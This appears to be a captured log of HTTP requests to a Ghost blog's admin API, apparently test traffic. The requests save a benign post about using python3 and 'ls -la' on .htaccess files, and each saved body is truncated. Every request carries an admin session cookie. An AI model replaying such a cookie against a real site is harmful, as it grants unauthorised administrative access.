{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8578", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8337", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Apublished%2Bid%3A-%276af458a5d281b00001a59969%27&limit=1", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/members/?filter=newsletters.slug%3Adefault-newsletter%2Bemail_disabled%3A0%2B%28status%3Afree%2Cstatus%3A-free%29&order=id&limit=1&page=1", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8061", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=id%3A6af458a5d281b00001a59969&limit=1&include=authors%2Cnewsletter%2Cemail", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Apublished&limit=1", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "POST", "target": "/ghost/api/admin/stats/posts-member-counts/", "headers": ["Host: example.com", "Content-Length: 67", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"postIds\":[\"6af458a5d281b00001a59969\",\"6af45710d281b00001a598a4\"]}"}
{"method": "GET", "target": "/ghost/assets/tag-detail-BzYiFRvZ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/breadcrumb-zc_bvTJr.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/detail-page-mfw0499d.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/users/?limit=100&include=roles", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/invites/?limit=100&include=roles", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/roles/?limit=100", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/tiers/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/automated_emails/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/members/metafields/custom/?filter=status%3A%5Bactive%2Carchived%5D", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/newsletters/?include=count.active_members%2Ccount.posts&limit=50", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/recommendations/?include=count.clicks%2Ccount.subscribers&order=created_at+desc&limit=5", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/incoming_recommendations/?limit=5&order=created_at+desc", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/stats/referrers/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
